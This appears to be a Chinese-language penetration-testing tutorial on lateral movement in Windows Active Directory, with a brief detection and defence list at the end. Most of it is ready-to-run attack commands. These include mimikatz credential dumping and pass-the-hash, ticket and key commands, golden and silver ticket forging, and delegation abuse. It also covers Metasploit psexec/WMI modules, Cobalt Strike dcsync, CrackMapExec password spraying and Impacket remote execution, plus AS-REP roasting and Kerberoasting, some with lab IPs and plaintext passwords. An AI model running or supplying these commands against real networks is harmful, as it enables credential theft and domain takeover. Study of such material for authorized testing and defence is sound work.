收集到域内用户和凭据后,为后续利用各种协议密码喷射通讯上线提供条件。这里注意域内域外是有差异的。
我们需要判断当前获得的权限是域内的还是域外的,如一个计算机有两个角色,一个是Meteor_Kai,对应域外用户,一个是webadmin,对应域内用户。
钓鱼攻击可能获得域内用户也可能获得域外用户。
判断域内域外很好判断,随便使用一个域内查询命令即可,看会不会正常回显。
net user /domain
如果是域外用户,那么我们内网域横向移动的手法也就不一定能用了。
域外用户
-
假设我们上线的是administrator,如果我们收集内网域的信息,很大可能会失败。同时不能正常通讯内网域。我们可以尝试提权到system,system是无敌的你可能这么想。
-
也可以通过其他用户上线来转到域内用户,cs上线后使用mimikatz抓取明文密码,进行密码的收集后进行其他用户上线。
-
也可以通过以下工具来进行域内用户的枚举
https://github.com/ropnop/kerbrute
kerbrute_windows_amd64.exe userenum --dc ip -d 域名 字典文件
这里要注意一下mimikatz在win10或者2012R2以上,内存中默认禁止缓存明文密码,获取到的是hash。可以通过修改注册表的方式进行抓取,但需重启后重新登陆时才能抓取,实战中不太好啊!
无论是获取的是域内还是域外,一般都需要提权,权限太低是无法抓取明文密码的。
横向移动
基于口令凭据 横向移动
ipc smb wmi dcom winrs winrm rdp等
pth基于hash传递, ptt基于票据(ticket)传递, ptk基于key传递
基于漏洞
域控提权漏洞 Exchange漏洞攻防
基于配置
委派 dysnc asrep kerberos攻击 ntlmreply
基于口令凭据
口令凭据的横向移动手段是不会被域环境(如子域父域域森林等)影响的,只要知道密码就可以进行横向移动。
ipc/smb/wmi/dcom/winrm/rpc
这些协议都可以进行远程连接和命令执行,前提是知道目标用户的账号密码。
pth(hash传递)
使用mimikatz进行pth攻击:
mimikatz privilege::debug
mimikatz sekurlsa::logonpasswords
mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /ntlm:ntlm_hash
ptt(票据传递)
mimikatz kerberos::purge
mimikatz kerberos::golden /user:用户 /domain:域名 /sid:SID /target:目标机器 /service:服务类型 /ptt
ptk(key传递)
提取 Windows LSASS 进程中的 EKeys(加密密钥):
mimikatz sekurlsa::ekeys
mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值
mimikatz sekurlsa::pth /user:sqlserver\administrator /domain:192.168.3.32 /aes256:39acf6c939cbfc4fd9cb36ef5aa417d2a36c4086f2e146bd663cc9885615d45e
这里拿god.org来试试


执行后web主机弹出一个shell,拥有system权限,但仍然是web主机的,没成功横向移动

因此这个横向移动就失败了。。。他有点鸡肋,要打补丁且禁用NTLM。
实战场景也不常见,太少了
委派(基于配置)
参考文章:委派攻击深入解析
委派是一种域内应用模式,是指将域内用户账户的权限委派给服务账号,服务账号因此能以用户的身份在域内展开活动(请求新的服务等),类似于租房中介房东的关系。
域委派分类:
- 非约束委派(Unconstrained Delegation, UD)
- 约束委派(Constrained Delegation, CD)
- 基于资源的约束委派(Resource Based Constrained Delegation, RBCD)
简而言之,非约束委派是指用户账户将自身的TGT转发给服务账户使用。约束委派通过S4U2Self和S4U2Proxy两个拓展协议限制服务账户只能访问指定服务资源。
RBCD主要就是委派的管理移交给服务资源进行控制,其余和约束性委派基本相同。
账户分类:
- 机器账户:计算机本身名称的账户,在域中computers组内的计算机。
- 主机账户:计算机系统的主机账户,用于正常用户登入计算机使用。
- 服务账户:计算机服务安装时创建的账户,用于运行服务时使用,不可用于登入计算机。
能不能通过委派这种方法来横向移动主要就是看dc上的设置,有没有设置主机账户、机器账户上的委派。如果设置不信任此计算机来源的委派,则无法利用。
非约束委派利用
当目标服务器设置了非约束委派时,我们可以诱导域控或其他高权限用户连接到该服务器,从而捕获其TGT票据。
利用流程:
- 扫描发现设置了非约束委派的主机
- 在该主机上监听SMB/TCP流量
- 诱使域管用户连接(如通过UNC路径)
- 捕获TGT票据并导入使用
约束委派利用
利用S4U2Self和S4U2Proxy扩展协议,伪造服务请求。
所需条件:
- 目标服务账户具有约束委派属性
- 知道服务账户的凭据(密码或hash)
利用方式:
mimikatz kerberos::golden /user:域管 /domain:域名 /sid:域SID /target:目标服务 /service:cifs /rc4:服务账户hash /ptt
基于资源的约束委派(RBCD)
这是较新的委派类型,由资源所有者控制委派权限。
检测命令:
Get-DomainComputer | ?{$_.msDS-AllowedToActOnBehalfOfOtherIdentity}
利用步骤:
- 获取目标计算机的msDS-AllowedToActOnBehalfOfOtherIdentity属性
- 创建新的机器账户
- 修改目标计算机的ACL,赋予新账户委派权限
- 使用新账户进行S4U委托攻击
MSF中的横向移动
psexec模块
use exploit/windows/smb/psexec
set PAYLOAD windows/meterpreter/bind_tcp
set RHOST 192.168.3.32
set USERNAME administrator
set PASSWORD admin!@#45
run
wmi模块
use exploit/windows/wmi/wmi_exec
set RHOST 192.168.3.32
set TARGETPAYLOAD WindowsX64
set USERNAME administrator
set PASSWORD admin!@#45
run
Cobalt Strike中的横向移动
pth攻击
pth administrator domain.com nt-hash
连接成功后会弹出新的beacon。
ptt攻击
execute-assembly C:\Rubeus.exe kerberoast
获取服务票据后进行离线破解。
dcsync攻击
dcsync domain.com administrator
直接从域控同步用户hash。
CrackMapExec-密码喷射
手工去横向移动面临诸多挑战:
工具地址:https://github.com/byt3bl33d3r/CrackMapExec
Linux Proxychains使用
代理配置:Proxychains.conf
代理调用:Proxychains 命令
密码喷射-域用户登录PTH
主要参数:
-u 用户
-p 密码
-H 哈希值
-d 指定域
-x 执行命令
主要功能:多协议探针,字典设置,本地及域喷射,命令回显执行等
首先需要建立socks节点和proxychains,因为工具是在本地使用的。我们拿kali来吧,windows的cme不会用。。
proxychains cme smb 192.168.3.32 -u administrator -p 'admin!@#45' -x 'whoami'
批量扫描与爆破
proxychains cme smb 192.168.3.0/24 -u users.txt -p passwords.txt --continue-on-success
支持多种协议:smb、winrm、ldap、mssql等。
Impacket工具集
atexec.py
python atexec.py domain/administrator:password@192.168.3.32 "whoami"
通过计划任务执行命令。
wmiexec.py
python wmiexec.py domain/administrator:password@192.168.3.32
通过WMI执行命令,无需回连。
smbexec.py
python smbexec.py domain/administrator:password@192.168.3.32
通过SMB服务执行命令。
psexec.py
python psexec.py domain/administrator:password@192.168.3.32
模拟PsExec行为。
Kerberos攻击
AS-REP Roasting
对于未启用预认证的账户:
python GetNPUsers.py domain.com/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt
Kerberoasting
请求服务票据进行离线破解:
python GetUserSPNs.py domain.com/user:password -request
或使用Rubeus:
Rubeus.exe kerberoast /outfile:kerberoast.txt
Silver Ticket
针对特定服务伪造票据:
mimikatz kerberos::golden /domain:domain.com /sid:S-1-5-21... /target:web.domain.com /service:http /rc4:service_hash /user:user /ptt
Golden Ticket
伪造域管TGT票据:
mimikatz kerberos::golden /user:fakeuser /domain:domain.com /sid:S-1-5-21... /krbtgt:krbtgt_hash /ptt
横向移动检测与防御
检测方法
- 监控异常的Kerberos请求
- 检查非正常的委派设置
- 分析日志中的多次身份验证失败
- 监控LSASS进程的异常访问
防御建议
- 最小权限原则
- 启用LDAPS
- 配置适当的委派策略
- 使用LAPS管理本地管理员密码
- 启用审核策略
横向移动是内网渗透的关键环节,掌握多种技术手段并在实际环境中灵活运用至关重要。建议在合法授权的环境下进行学习和研究。